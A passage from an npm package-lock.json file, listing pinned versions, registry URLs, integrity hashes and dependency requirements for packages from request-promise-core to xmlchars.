"sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", 786 | "requires": { 787 | "psl": "^1.1.28", 788 | "punycode": "^2.1.1" 789 | } 790 | } 791 | } 792 | }, 793 | "request-promise-core": { 794 | "version": "1.1.4", 795 | "resolved": "https://registry.npmjs.org/request-promise-core/-/request-promise-core-1.1.4.tgz", 796 | "integrity": "sha512-TTbAfBBRdWD7aNNOoVOBH4pN/KigV6LyapYNNlAPA8JwbovRti1E88m3sYAwsLi5ryhPKsE9APwnjFTgdUjTpw==", 797 | "requires": { 798 | "lodash": "^4.17.19" 799 | }, 800 | "dependencies": { 801 | "lodash": { 802 | "version": "4.17.20", 803 | "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.20.tgz", 804 | "integrity": "sha512-PlhdFcillOINfeV7Ni6oF1TAEayyZBoZ8bcshTHqOYJYlrqzRK5hagpagky5o4HfCzzd1TRkXPMFq6cKk9rGmA==" 805 | } 806 | } 807 | }, 808 | "request-promise-native": { 809 | "version": "1.0.9", 810 | "resolved": "https://registry.npmjs.org/request-promise-native/-/request-promise-native-1.0.9.tgz", 811 | "integrity": "sha512-wcW+sIUiWnKgNY0dqCpOZkUbF/I+YPi+f09JZIDa39Ec+q82CpSYniDp+ISgTTbKmnpJWASeJBPZmoxH84wt3g==", 812 | "requires": { 813 | "request-promise-core": "1.1.4", 814 | "stealthy-require": "^1.1.1", 815 | "tough-cookie": "^2.3.3" 816 | }, 817 | "dependencies": { 818 | "tough-cookie": { 819 | "version": "2.5.0", 820 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", 821 | "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", 822 | "requires": { 823 | "psl": "^1.1.28", 824 | "punycode": "^2.1.1" 825 | } 826 | } 827 | } 828 | }, 829 | "safe-buffer": { 830 | "version": "5.2.1", 831 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", 832 | "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==" 833 | }, 834 | "safer-buffer": { 835 | "version": "2.1.2", 836 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 837 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 838 | }, 839 | "saxes": { 840 | "version": "5.0.1", 841 | "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz", 842 | "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==", 843 | "requires": { 844 | "xmlchars": "^2.2.0" 845 | } 846 | }, 847 | "send": { 848 | "version": "0.17.1", 849 | "resolved": "https://registry.npmjs.org/send/-/send-0.17.1.tgz", 850 | "integrity": "sha512-BsVKsiGcQMFwT8UxypobUKyv7irCNRHk1T0G680vk88yf6LBByGcZJOTJCrTP2xVN6yI+XjPJcNuE3V4fT9sAg==", 851 | "requires": { 852 | "debug": "2.6.9", 853 | "depd": "~1.1.2", 854 | "destroy": "~1.0.4", 855 | "encodeurl": "~1.0.2", 856 | "escape-html": "~1.0.3", 857 | "etag": "~1.8.1", 858 | "fresh": "0.5.2", 859 | "http-errors": "~1.7.2", 860 | "mime": "1.6.0", 861 | "ms": "2.1.1", 862 | "on-finished": "~2.3.0", 863 | "range-parser": "~1.2.1", 864 | "statuses": "~1.5.0" 865 | }, 866 | "dependencies": { 867 | "ms": { 868 | "version": "2.1.1", 869 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.1.tgz", 870 | "integrity": "sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==" 871 | } 872 | } 873 | }, 874 | "serve-static": { 875 | "version": "1.14.1", 876 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.14.1.tgz", 877 | "integrity": "sha512-JMrvUwE54emCYWlTI+hGrGv5I8dEwmco/00EvkzIIsR7MqrHonbD9pO2MOfFnpFntl7ecpZs+3mW+XbQZu9QCg==", 878 | "requires": { 879 | "encodeurl": "~1.0.2", 880 | "escape-html": "~1.0.3", 881 | "parseurl": "~1.3.3", 882 | "send": "0.17.1" 883 | } 884 | }, 885 | "setprototypeof": { 886 | "version": "1.1.1", 887 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz", 888 | "integrity": "sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw==" 889 | }, 890 | "source-map": { 891 | "version": "0.6.1", 892 | "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", 893 | "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", 894 | "optional": true 895 | }, 896 | "sshpk": { 897 | "version": "1.16.1", 898 | "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", 899 | "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", 900 | "requires": { 901 | "asn1": "~0.2.3", 902 | "assert-plus": "^1.0.0", 903 | "bcrypt-pbkdf": "^1.0.0", 904 | "dashdash": "^1.12.0", 905 | "ecc-jsbn": "~0.1.1", 906 | "getpass": "^0.1.1", 907 | "jsbn": "~0.1.0", 908 | "safer-buffer": "^2.0.2", 909 | "tweetnacl": "~0.14.0" 910 | } 911 | }, 912 | "statuses": { 913 | "version": "1.5.0", 914 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", 915 | "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" 916 | }, 917 | "stealthy-require": { 918 | "version": "1.1.1", 919 | "resolved": "https://registry.npmjs.org/stealthy-require/-/stealthy-require-1.1.1.tgz", 920 | "integrity": "sha1-NbCYdbT/SfJqd35QmzCQoyJr8ks=" 921 | }, 922 | "symbol-tree": { 923 | "version": "3.2.4", 924 | "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz", 925 | "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw==" 926 | }, 927 | "toidentifier": { 928 | "version": "1.0.0", 929 | "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.0.tgz", 930 | "integrity": "sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw==" 931 | }, 932 | "tough-cookie": { 933 | "version": "3.0.1", 934 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-3.0.1.tgz", 935 | "integrity": "sha512-yQyJ0u4pZsv9D4clxO69OEjLWYw+jbgspjTue4lTQZLfV0c5l1VmK2y1JK8E9ahdpltPOaAThPcp5nKPUgSnsg==", 936 | "requires": { 937 | "ip-regex": "^2.1.0", 938 | "psl": "^1.1.28", 939 | "punycode": "^2.1.1" 940 | } 941 | }, 942 | "tr46": { 943 | "version": "2.0.2", 944 | "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.0.2.tgz", 945 | "integrity": "sha512-3n1qG+/5kg+jrbTzwAykB5yRYtQCTqOGKq5U5PE3b0a1/mzo6snDhjGS0zJVJunO0NrT3Dg1MLy5TjWP/UJppg==", 946 | "requires": { 947 | "punycode": "^2.1.1" 948 | } 949 | }, 950 | "tunnel-agent": { 951 | "version": "0.6.0", 952 | "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", 953 | "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", 954 | "requires": { 955 | "safe-buffer": "^5.0.1" 956 | } 957 | }, 958 | "tweetnacl": { 959 | "version": "0.14.5", 960 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", 961 | "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" 962 | }, 963 | "type-check": { 964 | "version": "0.3.2", 965 | "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", 966 | "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", 967 | "requires": { 968 | "prelude-ls": "~1.1.2" 969 | } 970 | }, 971 | "type-is": { 972 | "version": "1.6.18", 973 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", 974 | "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", 975 | "requires": { 976 | "media-typer": "0.3.0", 977 | "mime-types": "~2.1.24" 978 | } 979 | }, 980 | "unpipe": { 981 | "version": "1.0.0", 982 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 983 | "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" 984 | }, 985 | "uri-js": { 986 | "version": "4.4.0", 987 | "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.0.tgz", 988 | "integrity": "sha512-B0yRTzYdUCCn9n+F4+Gh4yIDtMQcaJsmYBDsTSG8g/OejKBodLQ2IHfN3bM7jUsRXndopT7OIXWdYqc1fjmV6g==", 989 | "requires": { 990 | "punycode": "^2.1.0" 991 | } 992 | }, 993 | "utils-merge": { 994 | "version": "1.0.1", 995 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", 996 | "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" 997 | }, 998 | "uuid": { 999 | "version": "3.4.0", 1000 | "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", 1001 | "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" 1002 | }, 1003 | "validator": { 1004 | "version": "13.1.17", 1005 | "resolved": "https://registry.npmjs.org/validator/-/validator-13.1.17.tgz", 1006 | "integrity": "sha512-zL5QBoemJ3jYFb2/j38y7ljhwYGXVLUp8H6W1nVxadnAOvUOytec+L7BHh1oBQ82/TzWXHd+GSaxUWp4lROkLg==" 1007 | }, 1008 | "vary": { 1009 | "version": "1.1.2", 1010 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", 1011 | "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" 1012 | }, 1013 | "verror": { 1014 | "version": "1.10.0", 1015 | "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", 1016 | "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", 1017 | "requires": { 1018 | "assert-plus": "^1.0.0", 1019 | "core-util-is": "1.0.2", 1020 | "extsprintf": "^1.2.0" 1021 | } 1022 | }, 1023 | "w3c-hr-time": { 1024 | "version": "1.0.2", 1025 | "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", 1026 | "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", 1027 | "requires": { 1028 | "browser-process-hrtime": "^1.0.0" 1029 | } 1030 | }, 1031 | "w3c-xmlserializer": { 1032 | "version": "2.0.0", 1033 | "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", 1034 | "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", 1035 | "requires": { 1036 | "xml-name-validator": "^3.0.0" 1037 | } 1038 | }, 1039 | "webidl-conversions": { 1040 | "version": "6.1.0", 1041 | "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz", 1042 | "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==" 1043 | }, 1044 | "whatwg-encoding": { 1045 | "version": "1.0.5", 1046 | "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-1.0.5.tgz", 1047 | "integrity": "sha512-b5lim54JOPN9HtzvK9HFXvBma/rnfFeqsic0hSpjtDbVxR3dJKLc+KB4V6GgiGOvl7CY/KNh8rxSo9DKQrnUEw==", 1048 | "requires": { 1049 | "iconv-lite": "0.4.24" 1050 | } 1051 | }, 1052 | "whatwg-mimetype": { 1053 | "version": "2.3.0", 1054 | "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-2.3.0.tgz", 1055 | "integrity": "sha512-M4yMwr6mAnQz76TbJm914+gPpB/nCwvZbJU28cUD6dR004SAxDLOOSUaB1JDRqLtaOV/vi0IC5lEAGFgrjGv/g==" 1056 | }, 1057 | "whatwg-url": { 1058 | "version": "8.4.0", 1059 | "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-8.4.0.tgz", 1060 | "integrity": "sha512-vwTUFf6V4zhcPkWp/4CQPr1TW9Ml6SF4lVyaIMBdJw5i6qUUJ1QWM4Z6YYVkfka0OUIzVo/0aNtGVGk256IKWw==", 1061 | "requires": { 1062 | "lodash.sortby": "^4.7.0", 1063 | "tr46": "^2.0.2", 1064 | "webidl-conversions": "^6.1.0" 1065 | } 1066 | }, 1067 | "word-wrap": { 1068 | "version": "1.2.3", 1069 | "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", 1070 | "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==" 1071 | }, 1072 | "ws": { 1073 | "version": "7.3.1", 1074 | "resolved": "https://registry.npmjs.org/ws/-/ws-7.3.1.tgz", 1075 | "integrity": "sha512-D3RuNkynyHmEJIpD2qrgVkc9DQ23OrN/moAwZX4L8DfvszsJxpjQuUq3LMx6HoYji9fbIOBY18XWBsAux1ZZUA==" 1076 | }, 1077 | "xml-name-validator": { 1078 | "version": "3.0.0", 1079 | "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-3.0.0.tgz", 1080 | "integrity": "sha512-A5CUptxDsvxKJEU3yO6DuWBSJz/qizqzJKOMIfUJHETbBw/sFaDxgd6fxm1ewUaM0jZ444Fc5vC5ROYurg/4Pw==" 1081 | }, 1082 | "xmlchars": { 1083 | "version": "2.2.0", 1084 | "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", 1085 | "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==" 1086 | } 1087 | } 1088 | } 1089 | --------------------------------------------------------------------------------